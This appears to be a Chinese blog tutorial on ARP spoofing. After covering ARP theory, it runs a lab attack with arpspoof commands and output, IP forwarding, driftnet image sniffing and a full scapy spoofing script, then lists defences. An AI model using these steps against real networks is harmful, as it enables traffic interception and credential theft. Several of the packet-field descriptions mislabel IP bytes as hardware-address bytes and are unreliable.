ARP-ATTACK
原理
ARP
介绍
ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。
要素/媒介
ARP缓存
ARP缓存是个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址–>MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询。
报文媒介
硬件类型:指明了发送方想知道的硬件接口类型,以太网的值为1;
协议类型:指明了发送方提供的高层协议类型,IP为0800(16进制);
硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
操作类型:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;
发送方硬件地址(0-3字节):源主机硬件地址的前3个字节;
发送方硬件地址(4-5字节):源主机硬件地址的后3个字节;
发送方IP地址(0-1字节):源主机硬件地址的前2个字节;
发送方IP地址(2-3字节):源主机硬件地址的后2个字节;
目标硬件地址(0-1字节):目的主机硬件地址的前2个字节;
目标硬件地址(2-5字节):目的主机硬件地址的后4个字节;
目标IP地址(0-3字节):目的主机的IP地址。
工作原理
主机A的IP地址为192.168.1.1,MAC地址为0A-11-22-33-44-01;
主机B的IP地址为192.168.1.2,MAC地址为0A-11-22-33-44-02;
当主机A要与主机B通信时,地址解析协议可以将主机B的IP地址(192.168.1.2)解析成主机B的MAC地址,以下为工作流程:
第1步:根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。
第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。
RARP
反向地址转换协议(RARP)是局域网的物理机器从网关服务器的ARP表或者缓存上根据MAC地址请求IP地址的协议,其功能与地址解析协议相反。与ARP相比,RARP的工作流程也相反。首先是查询主机向网路送出一个RARP Request广播封包,向别的主机查询自己的IP地址。这时候网络上的RARP服务器就会将发送端的IP地址用RARP Reply封包回应给查询者,这样查询主机就获得自己的IP地址了。
ARP欺骗
ARP毒化也被称为ARP缓存中毒和ARP欺骗攻击,这是在内网的中间人攻击。ARP欺骗采取的优势是通过ARP协议欺骗,达到对整个网络进行欺骗。有几种可能引起ARP欺骗的方法,一般是利用内网中的被攻陷主机或使用自己的主机(内部入侵)。
有许多工具可以用于试实ARP欺骗:
ARPspoof
Cain&abel
Ettercap
ARPoison
Dsniff
Parasite
实战分析
环境
kali虚拟机(攻击者)、ubuntu18.04(受害者)、arpspoof(攻击程序)
arpspoof是dsniff工具的一部分,我们只需要直接安装dsniff就可以完成arpspoof的相关安装内容。
apt-get install dsniff
apt install driftnet
我们在虚拟机中设置两个机器,其中一台机器作为攻击方,另外一台机器作为受害机进行实战演示。
注意一个问题就是关于虚拟机的网络设置,我们需要使用桥接才可成功完成ARP攻击,具体原理参考我的上篇博文。
受害机ARP表
linux@ubuntu:~$ arp
Address HWtype HWaddress Flags Mask Iface
192.168.43.91 ether 38:37:8b:21:2b:e0 C ens33
受害者IP信息
linux@ubuntu:~$ ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:39:4b:6e
inet addr:192.168.43.42 Bcast:192.168.43.255 Mask:255.255.255.0
inet6 addr: 2408:84f7:41:7335:959a:5156:8ae:af17/64 Scope:Global
inet6 addr: fe80::569a:2c89:cfed:9850/64 Scope:Link
inet6 addr: 2408:84f7:41:7335:c5cf:4bda:a3b0:609f/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:47 errors:0 dropped:0 overruns:0 frame:0
TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:13219 (13.2 KB) TX bytes:15380 (15.3 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:256 errors:0 dropped:0 overruns:0 frame:0
TX packets:256 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:20261 (20.2 KB) TX bytes:20261 (20.2 KB)
攻击者IP信息
root@kali:~/桌面# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.43.103 netmask 255.255.255.0 broadcast 192.168.43.255
inet6 2408:84f7:41:7335:1823:fa70:c9cd:90b7 prefixlen 64 scopeid 0x0<global>
inet6 2408:84f7:41:7335:20c:29ff:fe3b:e23b prefixlen 64 scopeid 0x0<global>
inet6 fe80::20c:29ff:fe3b:e23b prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:3b:e2:3b txqueuelen 1000 (Ethernet)
RX packets 26 bytes 5856 (5.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38 bytes 4792 (4.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 16 bytes 880 (880.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16 bytes 880 (880.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
断网攻击过程
攻击者:192.168.43.103
受害者:192.168.43.42
默认网关:192.168.43.91
在攻击前,受害者:
linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121) 56(84) bytes of data.
64 bytes from 61.135.169.121: icmp_seq=1 ttl=128 time=70.8 ms
64 bytes from 61.135.169.121: icmp_seq=2 ttl=128 time=62.1 ms
....
首先我们让攻击者不进行流量转发,看看会有什么效果。
#攻击过程1,(第一层转发)
root@kali:~/桌面# arpspoof -i eth0 -t 192.168.43.42 192.168.43.91
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
#攻击过程2,(第二层转发)
root@kali:~/桌面# arpspoof -i eth0 -t 192.168.43.91 192.168.43.103
0:c:29:3b:e2:3b 38:37:8b:21:2b:e0 0806 42: arp reply 192.168.43.103 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 38:37:8b:21:2b:e0 0806 42: arp reply 192.168.43.103 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 38:37:8b:21:2b:e0 0806 42: arp reply 192.168.43.103 is-at 0:c:29:3b:e2:3b
欺骗启动以后我们发现受害机无法ping通百度了,而且一直卡死在这:
linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.185.32) 56(84) bytes of data.
我们在攻击者的机器上抓几个包看看:
我们发现了大量Source从受害者IP来源的IMCP包(ping)。
我们再中断ARP断网操作看看受害机的状态。
linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121) 56(84) bytes of data.
64 bytes from 61.135.169.121: icmp_seq=17 ttl=53 time=174 ms
64 bytes from 61.135.169.121: icmp_seq=18 ttl=53 time=73.6 ms
64 bytes from 61.135.169.121: icmp_seq=19 ttl=53 time=71.8 ms
64 bytes from 61.135.169.121: icmp_seq=20 ttl=53 time=70.0 ms
64 bytes from 61.135.169.121: icmp_seq=21 ttl=53 time=94.1 ms
欺骗攻击过程
进行断网攻击可以实现攻击的效果,但是这样却没什么意思,因为受害机网络出现问题后会很快的排查问题,并且攻击没有任何价值、之后利用的难度也会加大。
上述断网的效果是因为攻击机欺骗包后没有将服务器发送过来的包返回给受害机,使得受害机长期处于无响应状态,我们只需要开启流量转发即可。
#查看转发状态
cat /proc/sys/net/ipv4/ip_forward
0(不转发) 1(转发)
echo 1 >> /proc/sys/net/ipv4/ip_forward
(改值为所选值)
之后使用相同的命令,在受害机上的效果如下:
linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121) 56(84) bytes of data.
From kali (192.168.43.103): icmp_seq=1 Redirect Host(New nexthop: 192.168.43.91)
64 bytes from 61.135.169.121: icmp_seq=1 ttl=52 time=73.4 ms
From kali (192.168.43.103): icmp_seq=3 Redirect Host(New nexthop: 192.168.43.91)
64 bytes from 61.135.169.121: icmp_seq=2 ttl=53 time=2368 ms
64 bytes from 61.135.169.121: icmp_seq=3 ttl=53 time=1351 ms
64 bytes from 61.135.169.121: icmp_seq=4 ttl=53 time=349 ms
64 bytes from 61.135.169.121: icmp_seq=5 ttl=53 time=67.2 ms
64 bytes from 61.135.169.121: icmp_seq=6 ttl=53 time=73.8 ms
64 bytes from 61.135.169.121: icmp_seq=7 ttl=53 time=64.1 ms
From kali (192.168.43.103): icmp_seq=8 Redirect Host(New nexthop: 192.168.43.91)
64 bytes from 61.135.169.121: icmp_seq=8 ttl=52 time=74.6 ms
毒化欺骗监听图片访问
在上述操作完成后,开启driftnet窗口,既可以实时监控受害机图片访问情况。
driftnet -i eth0
我们只需要单机窗口内的内容,就会将图片自动保存到默认路径上。
其他
还可以利用毒化攻击实现对FTP用户名密码的捕捉,嗅探到受害者发送的消息。
还可以实现捕获受害者访问网站的详细消息,例如用msgsnarf捕获即时聊天会话信息(任何IRC频道)
ARP攻击基础代码实现
#!/usr/bin/python
#coding=utf-8
from scapy.all import ARP, arping, Ether, srp, send
import sys, getopt
def usage():
print "usage: python arpspoof.py -s 192.168.1.0/24"
print "python arpspoof.py -t 192.168.1.1 192.168.1.100"
#############
# arp scan #
#############
def arpscan(Lan):
e = Ether()
e.dst = "ff:ff:ff:ff:ff:ff"
a = ARP()
a.pdst=Lan
ans,unans=srp(e/a,timeout=2)
#ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%"))
#arping(sys.argv[1])
ipaddr_mac=[]
data={}
for s,r in ans:
ipaddr_mac.append(s[Ether].pdst)
ipaddr_mac.append(r[ARP].hwsrc)
data[s[Ether].pdst]=r[ARP].hwsrc
return ipaddr_mac, data
#################
# arp send #
#################
def arpsend(target, mac, host, num=-1):
a=ARP()
#op代表ARP数据包类型,01为请求包,02为应答包
a.op=2
#pdst目的端协IP地址
a.pdst=target
#hwdst目的端MAC地址
a.hwdst=mac
#psrc发送端IP地址
a.psrc=host
#hwsrc发送端MAC地址,
a.hwsrc="bb:bb:bb:cc:cc:cc"
send(a, loop=1, count=num)
def arpauto(Lan):
s,d=arpscan(Lan)
for i in range(len(s)/2):
print "[%d] %s %s" %(i, s[i*2+1], s[i*2])
D0=int(raw_input("[Add-0]:"))
print "Target0:", s[D0*2], d[s[D0*2]]
D1=int(raw_input("[Add-1]:"))
print "Target1", s[D1*2], d[s[D1*2]]
target=s[D0*2]
mac=d[s[D0*2]]
host=s[D1*2]
return target, mac, host
def arpmanually(Lan):
s,d=arpscan(Lan)
mac=d[Lan]
return mac
if __name__=="__main__":
if len(sys.argv[1:]) == 0:
usage()
sys.exit()
if len(sys.argv[1:]) > 0:
try:
opts, args = getopt.getopt(sys.argv[1:], "ht:p:s:v", ["help", "target="])
except getopt.GetoptError, err:
print str(err)
usage()
sys.exit(2)
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-t", "--target"):
target = a
mac = arpmanually(target)
elif o == "-v":
print "arpspoof.py version 0.1"
sys.exit()
elif o == "-s":
Lan = a
target, mac, host = arpauto(Lan)
if o == "-p":
host = a
arpsend(target, mac, host)
如何防治ARP毒化攻击
ARP毒化攻击是一种很危险的攻击手段,攻击者可以通过ARP攻击探取受害者主机证书和其他机密信息,监控受害者的访问信息等。
通过上面对于ARP攻击的分析我们有以下方法去发现ARP攻击或者去避免ARP攻击。
1.IP地址被ARP欺骗攻击之前和之后的区别进行比较,能够验证是否成为受害者
2.设置ARP缓存表为静态
3.使用工具,保护计算机免受ARP毒化并且检测出ARP缓存表的更变。ARPon、ARP Wath、XARP
参考文章:
https://baike.baidu.com/item/ARP/609343
https://www.freebuf.com/articles/system/5157.html
https://blog.csdn.net/hiker0x0/article/details/8740489